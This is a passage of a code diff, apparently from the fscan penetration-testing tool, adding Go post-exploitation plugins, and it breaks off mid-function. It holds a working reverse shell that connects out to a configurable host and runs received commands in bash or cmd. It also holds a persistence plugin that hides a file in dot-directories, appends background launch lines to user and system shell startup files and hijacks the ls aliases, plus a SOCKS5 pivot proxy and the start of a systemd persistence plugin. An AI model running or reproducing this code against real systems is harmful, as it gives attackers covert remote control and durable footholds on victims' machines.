"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// ReverseShellPlugin 反向Shell插件
|
||||
// 设计哲学:直接实现,删除过度设计
|
||||
// - 删除复杂的继承体系
|
||||
// - 直接实现反弹Shell功能
|
||||
// - 保持原有功能逻辑
|
||||
type ReverseShellPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
// NewReverseShellPlugin 创建反弹Shell插件
|
||||
func NewReverseShellPlugin() *ReverseShellPlugin {
|
||||
return &ReverseShellPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("reverseshell"),
|
||||
}
|
||||
}
|
||||
|
||||
// GetName 实现Plugin接口
|
||||
|
||||
// Scan 执行反弹Shell - 直接实现
|
||||
func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
||||
var output strings.Builder
|
||||
|
||||
// 从config获取配置
|
||||
target := config.LocalExploit.ReverseShellTarget
|
||||
if target == "" {
|
||||
target = "127.0.0.1:4444"
|
||||
}
|
||||
|
||||
// 解析目标地址
|
||||
host, portStr, err := net.SplitHostPort(target)
|
||||
if err != nil {
|
||||
host = target
|
||||
portStr = "4444"
|
||||
}
|
||||
|
||||
port, err := strconv.Atoi(portStr)
|
||||
if err != nil {
|
||||
port = 4444
|
||||
}
|
||||
|
||||
output.WriteString("=== Go原生反弹Shell ===\n")
|
||||
output.WriteString(fmt.Sprintf("目标: %s\n", target))
|
||||
output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS))
|
||||
|
||||
// 启动反弹Shell
|
||||
err = p.startNativeReverseShell(ctx, host, port, state)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("反弹Shell错误: %v\n", err))
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
output.WriteString("✓ 反弹Shell已完成\n")
|
||||
common.LogSuccess(i18n.Tr("reverseshell_complete", target))
|
||||
|
||||
return &plugins.Result{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeService,
|
||||
Output: output.String(),
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
// startNativeReverseShell 启动Go原生反弹Shell
|
||||
func (p *ReverseShellPlugin) startNativeReverseShell(ctx context.Context, host string, port int, state *common.State) error {
|
||||
// 连接到目标
|
||||
conn, err := net.Dial("tcp", net.JoinHostPort(host, strconv.Itoa(port)))
|
||||
if err != nil {
|
||||
return fmt.Errorf("连接失败: %w", err)
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
common.LogSuccess(i18n.Tr("reverseshell_connected", host, port))
|
||||
|
||||
// 设置反弹Shell为活跃状态
|
||||
state.SetReverseShellActive(true)
|
||||
defer func() {
|
||||
state.SetReverseShellActive(false)
|
||||
}()
|
||||
|
||||
// 发送欢迎消息
|
||||
welcomeMsg := fmt.Sprintf("Go Native Reverse Shell - %s/%s\n", runtime.GOOS, runtime.GOARCH)
|
||||
_, _ = conn.Write([]byte(welcomeMsg))
|
||||
_, _ = conn.Write([]byte("Type 'exit' to quit\n"))
|
||||
|
||||
// 创建读取器
|
||||
reader := bufio.NewReader(conn)
|
||||
|
||||
for {
|
||||
// 检查上下文取消
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
_, _ = conn.Write([]byte("Shell session terminated by context\n"))
|
||||
return ctx.Err()
|
||||
default:
|
||||
}
|
||||
|
||||
// 发送提示符
|
||||
prompt := fmt.Sprintf("%s> ", getCurrentDir())
|
||||
_, _ = conn.Write([]byte(prompt))
|
||||
|
||||
// 读取命令
|
||||
cmdLine, err := reader.ReadString('\n')
|
||||
if err != nil {
|
||||
if err == io.EOF {
|
||||
return nil
|
||||
}
|
||||
return fmt.Errorf("读取命令错误: %w", err)
|
||||
}
|
||||
|
||||
// 清理命令
|
||||
cmdLine = strings.TrimSpace(cmdLine)
|
||||
if cmdLine == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
// 检查退出命令
|
||||
if cmdLine == "exit" {
|
||||
_, _ = conn.Write([]byte("Goodbye!\n"))
|
||||
return nil
|
||||
}
|
||||
|
||||
// 执行命令
|
||||
result := p.executeCommand(cmdLine)
|
||||
|
||||
// 发送结果
|
||||
_, _ = conn.Write([]byte(result + "\n"))
|
||||
}
|
||||
}
|
||||
|
||||
// executeCommand 执行系统命令
|
||||
func (p *ReverseShellPlugin) executeCommand(cmdLine string) string {
|
||||
var cmd *exec.Cmd
|
||||
|
||||
// 根据操作系统选择命令解释器
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
cmd = exec.Command("cmd", "/C", cmdLine)
|
||||
case "linux", "darwin":
|
||||
cmd = exec.Command("bash", "-c", cmdLine)
|
||||
default:
|
||||
return fmt.Sprintf("不支持的操作系统: %s", runtime.GOOS)
|
||||
}
|
||||
|
||||
// 执行命令并获取输出
|
||||
output, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return fmt.Sprintf("错误: %v\n%s", err, string(output))
|
||||
}
|
||||
|
||||
return string(output)
|
||||
}
|
||||
|
||||
// getCurrentDir 获取当前目录
|
||||
func getCurrentDir() string {
|
||||
dir, err := os.Getwd()
|
||||
if err != nil {
|
||||
return "unknown"
|
||||
}
|
||||
return dir
|
||||
}
|
||||
|
||||
// 注册插件
|
||||
func init() {
|
||||
RegisterLocalPlugin("reverseshell", func() Plugin {
|
||||
return NewReverseShellPlugin()
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,341 @@
|
||||
//go:build (plugin_shellenv || !plugin_selective) && linux && !no_local
|
||||
|
||||
package local
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/user"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// ShellEnvPlugin Shell环境持久化插件
|
||||
// 设计哲学:直接实现,删除过度设计
|
||||
// - 删除复杂的继承体系
|
||||
// - 直接实现持久化功能
|
||||
// - 保持原有功能逻辑
|
||||
type ShellEnvPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
// NewShellEnvPlugin 创建Shell环境变量持久化插件
|
||||
func NewShellEnvPlugin() *ShellEnvPlugin {
|
||||
return &ShellEnvPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("shellenv"),
|
||||
}
|
||||
}
|
||||
|
||||
// Scan 执行Shell环境变量持久化 - 直接实现
|
||||
func (p *ShellEnvPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
||||
var output strings.Builder
|
||||
|
||||
if runtime.GOOS != "linux" {
|
||||
output.WriteString("Shell环境变量持久化只支持Linux平台\n")
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS),
|
||||
}
|
||||
}
|
||||
|
||||
// 从config获取配置
|
||||
targetFile := config.PersistenceTargetFile
|
||||
if targetFile == "" {
|
||||
output.WriteString("必须通过 -persistence-file 参数指定目标文件路径\n")
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: fmt.Errorf("未指定目标文件"),
|
||||
}
|
||||
}
|
||||
|
||||
// 检查目标文件是否存在
|
||||
if _, err := os.Stat(targetFile); os.IsNotExist(err) {
|
||||
output.WriteString(fmt.Sprintf("目标文件不存在: %s\n", targetFile))
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
output.WriteString("=== Shell环境变量持久化 ===\n")
|
||||
output.WriteString(fmt.Sprintf("目标文件: %s\n", targetFile))
|
||||
output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS))
|
||||
|
||||
var successCount int
|
||||
|
||||
// 1. 复制文件到隐藏目录
|
||||
hiddenPath, err := p.copyToHiddenPath(targetFile)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("✗ 复制文件失败: %v\n", err))
|
||||
} else {
|
||||
output.WriteString(fmt.Sprintf("✓ 文件已复制到: %s\n", hiddenPath))
|
||||
successCount++
|
||||
}
|
||||
|
||||
// 2. 添加到用户shell配置文件
|
||||
userConfigs, err := p.addToUserConfigs(hiddenPath)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("✗ 添加到用户配置失败: %v\n", err))
|
||||
} else {
|
||||
output.WriteString(fmt.Sprintf("✓ 已添加到用户配置: %s\n", strings.Join(userConfigs, ", ")))
|
||||
successCount++
|
||||
}
|
||||
|
||||
// 3. 添加到全局shell配置文件
|
||||
globalConfigs, err := p.addToGlobalConfigs(hiddenPath)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("✗ 添加到全局配置失败: %v\n", err))
|
||||
} else {
|
||||
output.WriteString(fmt.Sprintf("✓ 已添加到全局配置: %s\n", strings.Join(globalConfigs, ", ")))
|
||||
successCount++
|
||||
}
|
||||
|
||||
// 4. 创建启动别名
|
||||
aliasConfigs, err := p.addAliases(hiddenPath)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("✗ 创建别名失败: %v\n", err))
|
||||
} else {
|
||||
output.WriteString(fmt.Sprintf("✓ 已创建别名: %s\n", strings.Join(aliasConfigs, ", ")))
|
||||
successCount++
|
||||
}
|
||||
|
||||
// 5. 添加PATH环境变量
|
||||
err = p.addToPath(filepath.Dir(hiddenPath))
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("✗ 添加PATH失败: %v\n", err))
|
||||
} else {
|
||||
output.WriteString("✓ 已添加到PATH环境变量\n")
|
||||
successCount++
|
||||
}
|
||||
|
||||
// 输出统计
|
||||
output.WriteString(fmt.Sprintf("\nShell环境变量持久化完成: 成功(%d) 总计(%d)\n", successCount, 5))
|
||||
|
||||
if successCount > 0 {
|
||||
common.LogSuccess(i18n.Tr("shellenv_success", successCount))
|
||||
}
|
||||
|
||||
return &plugins.Result{
|
||||
Success: successCount > 0,
|
||||
Output: output.String(),
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
// copyToHiddenPath 复制文件到隐藏目录
|
||||
func (p *ShellEnvPlugin) copyToHiddenPath(targetFile string) (string, error) {
|
||||
// 获取用户主目录
|
||||
usr, err := user.Current()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
// 创建隐藏目录
|
||||
hiddenDirs := []string{
|
||||
filepath.Join(usr.HomeDir, ".local", "bin"),
|
||||
filepath.Join(usr.HomeDir, ".config"),
|
||||
"/tmp/.system",
|
||||
"/var/tmp/.cache",
|
||||
}
|
||||
|
||||
var targetDir string
|
||||
for _, dir := range hiddenDirs {
|
||||
if mkdirErr := os.MkdirAll(dir, 0755); mkdirErr == nil {
|
||||
targetDir = dir
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if targetDir == "" {
|
||||
return "", fmt.Errorf("无法创建目标目录")
|
||||
}
|
||||
|
||||
// 生成隐藏文件名
|
||||
basename := filepath.Base(targetFile)
|
||||
hiddenName := "." + strings.TrimSuffix(basename, filepath.Ext(basename))
|
||||
if p.isScriptFile(targetFile) {
|
||||
hiddenName += ".sh"
|
||||
}
|
||||
|
||||
targetPath := filepath.Join(targetDir, hiddenName)
|
||||
|
||||
// 复制文件
|
||||
err = p.copyFile(targetFile, targetPath)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
// 设置执行权限
|
||||
_ = os.Chmod(targetPath, 0755)
|
||||
|
||||
return targetPath, nil
|
||||
}
|
||||
|
||||
// copyFile 复制文件内容
|
||||
func (p *ShellEnvPlugin) copyFile(src, dst string) error {
|
||||
sourceData, err := os.ReadFile(src)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return os.WriteFile(dst, sourceData, 0755)
|
||||
}
|
||||
|
||||
// addToUserConfigs 添加到用户shell配置文件
|
||||
func (p *ShellEnvPlugin) addToUserConfigs(execPath string) ([]string, error) {
|
||||
usr, err := user.Current()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
configFiles := []string{
|
||||
filepath.Join(usr.HomeDir, ".bashrc"),
|
||||
filepath.Join(usr.HomeDir, ".profile"),
|
||||
filepath.Join(usr.HomeDir, ".bash_profile"),
|
||||
filepath.Join(usr.HomeDir, ".zshrc"),
|
||||
}
|
||||
|
||||
var modified []string
|
||||
execLine := p.generateExecLine(execPath)
|
||||
|
||||
for _, configFile := range configFiles {
|
||||
if p.addToConfigFile(configFile, execLine) {
|
||||
modified = append(modified, configFile)
|
||||
}
|
||||
}
|
||||
|
||||
if len(modified) == 0 {
|
||||
return nil, fmt.Errorf("无法修改任何用户配置文件")
|
||||
}
|
||||
|
||||
return modified, nil
|
||||
}
|
||||
|
||||
// addToGlobalConfigs 添加到全局shell配置文件
|
||||
func (p *ShellEnvPlugin) addToGlobalConfigs(execPath string) ([]string, error) {
|
||||
configFiles := []string{
|
||||
"/etc/bash.bashrc",
|
||||
"/etc/profile",
|
||||
"/etc/zsh/zshrc",
|
||||
"/etc/profile.d/custom.sh",
|
||||
}
|
||||
|
||||
var modified []string
|
||||
execLine := p.generateExecLine(execPath)
|
||||
|
||||
for _, configFile := range configFiles {
|
||||
// 对于profile.d,需要先创建目录
|
||||
if strings.Contains(configFile, "profile.d") {
|
||||
_ = os.MkdirAll(filepath.Dir(configFile), 0755)
|
||||
}
|
||||
|
||||
if p.addToConfigFile(configFile, execLine) {
|
||||
modified = append(modified, configFile)
|
||||
}
|
||||
}
|
||||
|
||||
if len(modified) == 0 {
|
||||
return nil, fmt.Errorf("无法修改任何全局配置文件")
|
||||
}
|
||||
|
||||
return modified, nil
|
||||
}
|
||||
|
||||
// addAliases 添加命令别名
|
||||
func (p *ShellEnvPlugin) addAliases(execPath string) ([]string, error) {
|
||||
usr, err := user.Current()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
aliasFiles := []string{
|
||||
filepath.Join(usr.HomeDir, ".bash_aliases"),
|
||||
filepath.Join(usr.HomeDir, ".aliases"),
|
||||
}
|
||||
|
||||
// 生成常用命令别名
|
||||
aliases := []string{
|
||||
fmt.Sprintf("alias ls='%s; /bin/ls'", execPath),
|
||||
fmt.Sprintf("alias ll='%s; /bin/ls -l'", execPath),
|
||||
fmt.Sprintf("alias la='%s; /bin/ls -la'", execPath),
|
||||
}
|
||||
|
||||
var modified []string
|
||||
for _, aliasFile := range aliasFiles {
|
||||
content := strings.Join(aliases, "\n") + "\n"
|
||||
if p.addToConfigFile(aliasFile, content) {
|
||||
modified = append(modified, aliasFile)
|
||||
}
|
||||
}
|
||||
|
||||
return modified, nil
|
||||
}
|
||||
|
||||
// addToPath 添加到PATH环境变量
|
||||
func (p *ShellEnvPlugin) addToPath(dirPath string) error {
|
||||
usr, err := user.Current()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
configFile := filepath.Join(usr.HomeDir, ".bashrc")
|
||||
pathLine := fmt.Sprintf("export PATH=\"%s:$PATH\"", dirPath)
|
||||
|
||||
if p.addToConfigFile(configFile, pathLine) {
|
||||
return nil
|
||||
}
|
||||
|
||||
return fmt.Errorf("无法添加PATH环境变量")
|
||||
}
|
||||
|
||||
// addToConfigFile 添加内容到配置文件
|
||||
func (p *ShellEnvPlugin) addToConfigFile(configFile, content string) bool {
|
||||
// 读取现有内容
|
||||
existingContent := ""
|
||||
if data, err := os.ReadFile(configFile); err == nil {
|
||||
existingContent = string(data)
|
||||
}
|
||||
|
||||
// 检查是否已存在
|
||||
if strings.Contains(existingContent, content) {
|
||||
return true // 已存在,视为成功
|
||||
}
|
||||
|
||||
// 添加新内容
|
||||
if !strings.HasSuffix(existingContent, "\n") && existingContent != "" {
|
||||
existingContent += "\n"
|
||||
}
|
||||
existingContent += content + "\n"
|
||||
|
||||
// 写入文件
|
||||
return os.WriteFile(configFile, []byte(existingContent), 0644) == nil
|
||||
}
|
||||
|
||||
// generateExecLine 生成执行命令行
|
||||
func (p *ShellEnvPlugin) generateExecLine(execPath string) string {
|
||||
if p.isScriptFile(execPath) {
|
||||
return fmt.Sprintf("bash %s >/dev/null 2>&1 &", execPath)
|
||||
}
|
||||
return fmt.Sprintf("%s >/dev/null 2>&1 &", execPath)
|
||||
}
|
||||
|
||||
// isScriptFile 检查是否为脚本文件
|
||||
func (p *ShellEnvPlugin) isScriptFile(filePath string) bool {
|
||||
ext := strings.ToLower(filepath.Ext(filePath))
|
||||
return ext == ".sh" || ext == ".bash" || ext == ".zsh"
|
||||
}
|
||||
|
||||
// 注册插件
|
||||
func init() {
|
||||
RegisterLocalPlugin("shellenv", func() Plugin {
|
||||
return NewShellEnvPlugin()
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,294 @@
|
||||
//go:build (plugin_socks5proxy || !plugin_selective) && !no_local
|
||||
|
||||
package local
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"runtime"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// Socks5ProxyPlugin SOCKS5代理插件
|
||||
// 设计哲学:直接实现,删除过度设计
|
||||
// - 删除复杂的继承体系
|
||||
// - 直接实现SOCKS5代理功能
|
||||
// - 保持原有功能逻辑
|
||||
type Socks5ProxyPlugin struct {
|
||||
plugins.BasePlugin
|
||||
listener net.Listener
|
||||
}
|
||||
|
||||
// NewSocks5ProxyPlugin 创建SOCKS5代理插件
|
||||
func NewSocks5ProxyPlugin() *Socks5ProxyPlugin {
|
||||
return &Socks5ProxyPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("socks5proxy"),
|
||||
}
|
||||
}
|
||||
|
||||
// Scan 执行SOCKS5代理扫描 - 直接实现
|
||||
func (p *Socks5ProxyPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
||||
var output strings.Builder
|
||||
|
||||
// 从config获取配置
|
||||
port := config.Socks5ProxyPort
|
||||
if port <= 0 {
|
||||
port = 1080 // 默认端口
|
||||
}
|
||||
|
||||
output.WriteString("=== SOCKS5代理服务器 ===\n")
|
||||
output.WriteString(fmt.Sprintf("监听端口: %d\n", port))
|
||||
output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS))
|
||||
|
||||
common.LogBase(i18n.Tr("socks5_starting", port))
|
||||
|
||||
// 启动SOCKS5代理服务器
|
||||
err := p.startSocks5Server(ctx, port, state)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("SOCKS5代理服务器错误: %v\n", err))
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
output.WriteString("✓ SOCKS5代理已完成\n")
|
||||
common.LogSuccess(i18n.Tr("socks5_complete", port))
|
||||
|
||||
return &plugins.Result{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeService,
|
||||
Output: output.String(),
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
// startSocks5Server 启动SOCKS5代理服务器 - 核心实现
|
||||
func (p *Socks5ProxyPlugin) startSocks5Server(ctx context.Context, port int, state *common.State) error {
|
||||
// 监听指定端口
|
||||
listener, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", port))
|
||||
if err != nil {
|
||||
return fmt.Errorf("监听端口失败: %w", err)
|
||||
}
|
||||
defer func() { _ = listener.Close() }()
|
||||
|
||||
p.listener = listener
|
||||
common.LogSuccess(i18n.Tr("socks5_started", port))
|
||||
|
||||
// 设置SOCKS5代理为活跃状态,告诉主程序保持运行
|
||||
state.SetSocks5ProxyActive(true)
|
||||
defer func() {
|
||||
// 确保退出时清除活跃状态
|
||||
state.SetSocks5ProxyActive(false)
|
||||
}()
|
||||
|
||||
// 主循环处理连接
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
common.LogBase(i18n.GetText("socks5_cancelled"))
|
||||
return ctx.Err()
|
||||
default:
|
||||
}
|
||||
|
||||
// 设置监听器超时,以便能响应上下文取消
|
||||
if tcpListener, ok := listener.(*net.TCPListener); ok {
|
||||
_ = tcpListener.SetDeadline(time.Now().Add(1 * time.Second))
|
||||
}
|
||||
|
||||
conn, err := listener.Accept()
|
||||
if err != nil {
|
||||
// 检查是否是超时错误
|
||||
var netErr net.Error
|
||||
if errors.As(err, &netErr) && netErr.Timeout() {
|
||||
continue // 超时继续循环
|
||||
}
|
||||
common.LogError(i18n.Tr("socks5_accept_failed", err))
|
||||
continue
|
||||
}
|
||||
|
||||
// 并发处理客户端连接
|
||||
go p.handleClient(conn)
|
||||
}
|
||||
}
|
||||
|
||||
// handleClient 处理客户端连接
|
||||
func (p *Socks5ProxyPlugin) handleClient(clientConn net.Conn) {
|
||||
defer func() { _ = clientConn.Close() }()
|
||||
|
||||
// SOCKS5握手阶段
|
||||
if err := p.handleSocks5Handshake(clientConn); err != nil {
|
||||
common.LogError(i18n.Tr("socks5_handshake_failed", err))
|
||||
return
|
||||
}
|
||||
|
||||
// SOCKS5请求阶段
|
||||
targetConn, _, err := p.handleSocks5Request(clientConn)
|
||||
if err != nil {
|
||||
common.LogError(i18n.Tr("socks5_request_failed", err))
|
||||
return
|
||||
}
|
||||
defer func() { _ = targetConn.Close() }()
|
||||
|
||||
common.LogSuccess(i18n.GetText("socks5_connected"))
|
||||
|
||||
// 双向数据转发
|
||||
p.relayData(clientConn, targetConn)
|
||||
}
|
||||
|
||||
// handleSocks5Handshake 处理SOCKS5握手
|
||||
func (p *Socks5ProxyPlugin) handleSocks5Handshake(conn net.Conn) error {
|
||||
// 读取客户端握手请求
|
||||
buffer := make([]byte, 256)
|
||||
n, err := conn.Read(buffer)
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取握手请求失败: %w", err)
|
||||
}
|
||||
|
||||
if n < 3 || buffer[0] != 0x05 { // SOCKS版本必须是5
|
||||
return fmt.Errorf("不支持的SOCKS版本")
|
||||
}
|
||||
|
||||
// 发送握手响应(无认证)
|
||||
response := []byte{0x05, 0x00} // 版本5,无认证
|
||||
_, err = conn.Write(response)
|
||||
if err != nil {
|
||||
return fmt.Errorf("发送握手响应失败: %w", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// handleSocks5Request 处理SOCKS5连接请求
|
||||
func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn) (net.Conn, int, error) {
|
||||
// 读取连接请求
|
||||
buffer := make([]byte, 256)
|
||||
n, err := clientConn.Read(buffer)
|
||||
if err != nil {
|
||||
return nil, 0, fmt.Errorf("读取连接请求失败: %w", err)
|
||||
}
|
||||
|
||||
if n < 7 || buffer[0] != 0x05 {
|
||||
return nil, 0, fmt.Errorf("无效的SOCKS5请求")
|
||||
}
|
||||
|
||||
cmd := buffer[1]
|
||||
if cmd != 0x01 { // 只支持CONNECT命令
|
||||
// 发送不支持的命令响应
|
||||
response := []byte{0x05, 0x07, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
|
||||
_, _ = clientConn.Write(response)
|
||||
return nil, 0, fmt.Errorf("不支持的命令: %d", cmd)
|
||||
}
|
||||
|
||||
// 解析目标地址
|
||||
addrType := buffer[3]
|
||||
var targetHost string
|
||||
var targetPort int
|
||||
|
||||
switch addrType {
|
||||
case 0x01: // IPv4
|
||||
if n < 10 {
|
||||
return nil, 0, fmt.Errorf("IPv4地址格式错误")
|
||||
}
|
||||
targetHost = fmt.Sprintf("%d.%d.%d.%d", buffer[4], buffer[5], buffer[6], buffer[7])
|
||||
targetPort = int(buffer[8])<<8 + int(buffer[9])
|
||||
case 0x03: // 域名
|
||||
if n < 5 {
|
||||
return nil, 0, fmt.Errorf("域名格式错误")
|
||||
}
|
||||
domainLen := int(buffer[4])
|
||||
if n < 5+domainLen+2 {
|
||||
return nil, 0, fmt.Errorf("域名长度错误")
|
||||
}
|
||||
targetHost = string(buffer[5 : 5+domainLen])
|
||||
targetPort = int(buffer[5+domainLen])<<8 + int(buffer[5+domainLen+1])
|
||||
case 0x04: // IPv6
|
||||
if n < 22 {
|
||||
return nil, 0, fmt.Errorf("IPv6地址格式错误")
|
||||
}
|
||||
// IPv6地址解析(简化实现)
|
||||
targetHost = net.IP(buffer[4:20]).String()
|
||||
targetPort = int(buffer[20])<<8 + int(buffer[21])
|
||||
default:
|
||||
// 发送不支持的地址类型响应
|
||||
response := []byte{0x05, 0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
|
||||
_, _ = clientConn.Write(response)
|
||||
return nil, 0, fmt.Errorf("不支持的地址类型: %d", addrType)
|
||||
}
|
||||
|
||||
// 连接目标服务器
|
||||
targetAddr := net.JoinHostPort(targetHost, strconv.Itoa(int(targetPort)))
|
||||
targetConn, err := net.DialTimeout("tcp", targetAddr, 10*time.Second)
|
||||
if err != nil {
|
||||
// 发送连接失败响应
|
||||
response := []byte{0x05, 0x05, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
|
||||
_, _ = clientConn.Write(response)
|
||||
return nil, 0, fmt.Errorf("连接目标服务器失败: %w", err)
|
||||
}
|
||||
|
||||
// 获取本地监听端口(从targetConn获取)
|
||||
localAddr, ok := targetConn.LocalAddr().(*net.TCPAddr)
|
||||
if !ok {
|
||||
return nil, 0, fmt.Errorf("无法获取本地地址")
|
||||
}
|
||||
localPort := localAddr.Port
|
||||
|
||||
// 发送成功响应
|
||||
response := make([]byte, 10)
|
||||
response[0] = 0x05 // SOCKS版本
|
||||
response[1] = 0x00 // 成功
|
||||
response[2] = 0x00 // 保留
|
||||
response[3] = 0x01 // IPv4地址类型
|
||||
// 绑定地址和端口(使用127.0.0.1:localPort)
|
||||
copy(response[4:8], []byte{127, 0, 0, 1})
|
||||
response[8] = byte(localPort >> 8)
|
||||
response[9] = byte(localPort & 0xff)
|
||||
|
||||
_, err = clientConn.Write(response)
|
||||
if err != nil {
|
||||
_ = targetConn.Close()
|
||||
return nil, 0, fmt.Errorf("发送成功响应失败: %w", err)
|
||||
}
|
||||
|
||||
common.LogDebug(fmt.Sprintf("建立代理连接: %s", targetAddr))
|
||||
return targetConn, localPort, nil
|
||||
}
|
||||
|
||||
// relayData 双向数据转发
|
||||
func (p *Socks5ProxyPlugin) relayData(clientConn, targetConn net.Conn) {
|
||||
done := make(chan struct{}, 2)
|
||||
|
||||
// 客户端到目标服务器
|
||||
go func() {
|
||||
defer func() { done <- struct{}{} }()
|
||||
_, _ = io.Copy(targetConn, clientConn)
|
||||
_ = targetConn.Close()
|
||||
}()
|
||||
|
||||
// 目标服务器到客户端
|
||||
go func() {
|
||||
defer func() { done <- struct{}{} }()
|
||||
_, _ = io.Copy(clientConn, targetConn)
|
||||
_ = clientConn.Close()
|
||||
}()
|
||||
|
||||
// 等待其中一个方向完成
|
||||
<-done
|
||||
}
|
||||
|
||||
// 注册插件
|
||||
func init() {
|
||||
RegisterLocalPlugin("socks5proxy", func() Plugin {
|
||||
return NewSocks5ProxyPlugin()
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,409 @@
|
||||
//go:build (plugin_systemdservice || !plugin_selective) && linux && !no_local
|
||||
|
||||
package local
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// SystemdServicePlugin 系统服务插件
|
||||
// 设计哲学:直接实现,删除过度设计
|
||||
// - 删除复杂的继承体系
|
||||
// - 直接实现系统服务持久化功能
|
||||
// - 保持原有功能逻辑
|
||||
type SystemdServicePlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
// NewSystemdServicePlugin 创建系统服务持久化插件
|
||||
func NewSystemdServicePlugin() *SystemdServicePlugin {
|
||||
return &SystemdServicePlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("systemdservice"),
|
||||
}
|
||||
}
|
||||
|
||||
// Scan 执行系统服务持久化 - 直接实现
|
||||
func (p *SystemdServicePlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
||||
var output strings.Builder
|
||||
|
||||
if runtime.GOOS != "linux" {
|
||||
output.WriteString("系统服务持久化只支持Linux平台\n")
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS),
|
||||
}
|
||||
}
|
||||
|
||||
// 从config获取配置
|
||||
targetFile := config.PersistenceTargetFile
|
||||
if targetFile == "" {
|
||||
output.WriteString("必须通过 -persistence-file 参数指定目标文件路径\n")
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: fmt.Errorf("未指定目标文件"),
|
||||
}
|
||||
}
|
||||
|
||||
// 检查目标文件是否存在
|
||||
if _, err := os.Stat(targetFile); os.IsNotExist(err) {
|
||||
